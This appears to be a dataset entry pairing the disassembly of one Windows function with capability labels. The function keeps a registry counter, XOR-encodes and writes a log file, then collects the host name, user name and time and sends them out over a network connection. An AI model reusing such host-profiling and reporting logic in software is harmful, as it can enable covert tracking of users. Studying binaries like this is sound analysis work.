Function at 0x86e3a0
Capabilities:
Clear file content
Encode data using xor
Get hostname
Get session user name
Query or enumerate registry value
Set registry value
Write file on windows

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
push 0x96e5f4
mov dword [esp + 0x2c], ecx
lea esi, [ecx + 0x24]
call fcn.00875080
add esp, 4
push eax
push esi
call fcn.0086cff0
add esp, 8
lea eax, [esp + 0x24]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x96e5bc
xor bl, bl
call fcn.00875080
add esp, 4
push eax
push 0x80000001
call dword [sym.imp.advapi32.dll_RegCreateKeyExA]
test eax, eax
jne 0x86e53f
mov eax, dword [esp + 0x24]
mov edi, dword [sym.imp.user32.dll_wsprintfA]
cmp eax, 2
jne 0x86e4b1
lea edx, [esp + 0x14]
lea eax, [esp + 0x40]
push edx
push eax
push 0
push 0
push 0x96e5a8
mov dword [esp + 0x28], pe_nt_image_headers32
call fcn.00875080
mov ecx, dword [esp + 0x2c]
mov ebp, dword [sym.imp.advapi32.dll_RegQueryValueExA]
add esp, 4
push eax
push ecx
call ebp
push 0x96de48
lea edx, [esp + 0x84]
push 0x96e5a4
push edx
call edi
mov eax, dword [esp + 0x20]
add esp, 0xc
test eax, eax
je 0x86e486
lea eax, [esp + 0x80]
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.kernel32.dll_lstrcmp]
test eax, eax
jne 0x86e486
mov bl, 1
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0
push 0x96e594
mov dword [esp + 0x28], 4
call fcn.00875080
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call ebp
push 0x96de48
lea edx, [esp + 0x44]
push 0x96e5a4
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.kernel32.dll_lstrlen]
inc eax
lea ecx, [esp + 0x40]
push eax
push ecx
push 1
push 0
push 0x96e580
mov dword [esp + 0x28], eax
call fcn.00875080
mov edx, dword [esp + 0x2c]
mov edi, dword [sym.imp.advapi32.dll_RegSetValueExA]
add esp, 4
push eax
push edx
call edi
test bl, bl
mov dword [esp + 0x14], 4
je 0x86e50c
inc dword [esp + 0x10]
jmp 0x86e514
mov dword [esp + 0x10], 0
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push 0x96e594
call fcn.00875080
mov ecx, dword [esp + 0x2c]
add esp, 4
push eax
push ecx
call edi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
cmp eax, 1
je 0x86e970
cmp eax, 5
ja 0x86e970
test bl, bl
je 0x86e566
cmp dword [0x97fb24], 9
jge 0x86e970
push 0x96e570
call fcn.00875080
add esp, 4
push eax
push esi
call fcn.0086cff0
mov eax, dword [esi]
add esp, 8
cmp eax, 0xffffffff
je 0x86e69f
lea edi, [esi + 0x101c]
push edi
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [esi + 0x143c]
test eax, eax
je 0x86e5ae
mov ecx, dword [esi + 0x1440]
cmp ecx, eax
mov eax, 0x96d790
ja 0x86e5b3
mov eax, 0x978474
push eax
xor eax, eax
mov ax, word [esi + 0x102a]
xor ecx, ecx
mov cx, word [esi + 0x1028]
push eax
xor edx, edx
xor eax, eax
mov dx, word [esi + 0x1026]
mov ax, word [esi + 0x1024]
push ecx
push edx
xor ecx, ecx
push eax
mov cx, word [esi + 0x1022]
xor edx, edx
mov dx, word [esi + 0x101e]
xor eax, eax
mov ax, word [edi]
push ecx
push edx
push eax
push 0x96d738
lea ebp, [esi + 0x1c]
call fcn.00875010
add esp, 4
push eax
push ebp
call fcn.00879f55
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
add esp, 0x28
repne scasb al, byte es:[edi]
mov eax, dword [esi + 0x1438]
not ecx
dec ecx
test eax, eax
mov edi, ecx
je 0x86e657
test edi, edi
jle 0x86e669
mov ecx, 0xffffffe4
mov eax, ebp
sub ecx, esi
mov edx, dword [esi + 0x1438]
add edx, 2
mov dword [esi + 0x1438], edx
mov bl, byte [eax]
add dl, 0x43
xor bl, dl
mov byte [eax], bl
inc eax
lea edx, [ecx + eax]
cmp edx, edi
jl 0x86e635
jmp 0x86e669
push ebp
push ebp
lea eax, [esi + 0x1030]
push edi
push eax
call fcn.008749c0
add esp, 0x10
cmp dword [esi + 0x143c], 0x3e7
je 0x86e687
mov edx, dword [esi]
lea ecx, [esp + 0x20]
push 0
push ecx
push edi
push ebp
push edx
call dword [sym.imp.kernel32.dll_WriteFile]
mov eax, dword [esi]
push eax
call dword [sym.imp.kernel32.dll_SetEndOfFile]
mov ecx, dword [esi]
push ecx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [esi], 0xffffffff
mov ecx, 0x97f910
call fcn.00872c90
test eax, eax
jne 0x86e6cd
push 0x96e560
call fcn.00875080
add esp, 4
mov ecx, 0x97f910
push eax
call 0x872a80
test eax, eax
je 0x86e970
push 0x96e54c
call fcn.00875080
add esp, 4
mov ecx, 0x97f910
push eax
call fcn.00872c90
push eax
call fcn.0086f770
push 0x96e534
mov esi, eax
call fcn.00875080
add esp, 4
mov ecx, 0x97f910
push eax
call fcn.00872c90
push eax
call fcn.0086f770
push 0x96e51c
mov edi, eax
call fcn.00875080
add esp, 4
mov ecx, 0x97f910
push eax
call fcn.00872c90
push eax
call fcn.0086f770
push 0x96e50c
mov ebp, eax
call fcn.00875080
add esp, 4
mov ecx, 0x97f910
push eax
call fcn.00872c90
push eax
call fcn.0086f770
test esi, esi
mov dword [esp + 0x20], eax
je 0x86e970
test edi, edi
je 0x86e970
test ebp, ebp
je 0x86e970
test eax, eax
je 0x86e970
push 0
push 0
push 0
push 0
push 0x96e500
call fcn.00875010
add esp, 4
push eax
call esi
mov ebx, eax
test ebx, ebx
je 0x86e970
push 0
push 0x8000000
push 1
push 0x96e4cc
call fcn.00875080
add esp, 4
push eax
push 0x96e4c0
call fcn.00875010
add esp, 4
push eax
push 0x17ac
push 0x96e4b0
call fcn.00875010
add esp, 4
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jne 0x86e7e0
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
lea edx, [esp + 0x1c]
lea eax, [esp + 0x140]
mov edi, 0x80
push edx
push eax
mov byte [esp + 0x148], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.kernel32.dll_GetComputerNameA]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0xc0]
push ecx
push edx
mov byte [esp + 0xc8], 0
mov dword [esp + 0x24], edi
call dword [sym.imp.advapi32.dll_GetUserNameA]
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.kernel32.dll_GetLocalTime]
mov eax, dword [0x97fb24]
cmp eax, 1
jne 0x86e83f
push 0x96e4a4
jmp 0x86e8a4
cmp eax, 2
jne 0x86e84b
push 0x96e498
jmp 0x86e8a4
cmp eax, 3
jne 0x86e857
push 0x96e490
jmp 0x86e8a4
cmp eax, 4
jne 0x86e863
push 0x96e484
jmp 0x86e8a4
cmp eax, 5
jne 0x86e86f
push 0x96e478
jmp 0x86e8a4
cmp eax, 6
jne 0x86e87b
push 0x96e468
jmp 0x86e8a4
cmp eax, 7
jne 0x86e887
push 0x96e45c
jmp 0x86e8a4
cmp eax, 8
jne 0x86e893
push 0x96e450
jmp 0x86e8a4
cmp eax, 9
jne 0x86e89f
push 0x96e444
jmp 0x86e8a4
push 0x96e43c
call fcn.00875010
mov ecx, dword [esp + 0x3e]
mov edx, dword [esp + 0x3c]
add esp, 4
and ecx, 0xffff
and edx, 0xffff
push ecx
mov ecx, dword [esp + 0x3a]
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x3e]
and edx, 0xffff
and ecx, 0xffff
push edx
mov edx, dword [esp + 0x3e]
push ecx
mov ecx, dword [esp + 0x40]
and edx, 0xffff
and ecx, 0xffff
push edx
push ecx
mov ecx, dword [esp + 0x44]
lea edx, [ecx + 0x2b38]
add ecx, 0x2b10
push edx
lea edx, [esp + 0xe0]
push edx
lea edx, [esp + 0x164]
push edx
mov edx, dword [0x97fc64]
mov edx, dword [edx + 0x10]
push edx
push eax
push 0x34
push ecx
push 0x96e3e0
call fcn.00875080
add esp, 4
push eax
lea eax, [esp + 0x1fc]
push 0x104
push eax
call fcn.0087d05a
add esp, 0x44
lea ecx, [esp + 0x1c0]
push 0
push 0x4000002
push ecx
push 0x97f804
push esi
call dword [esp + 0x34]
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
call ebp
push esi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret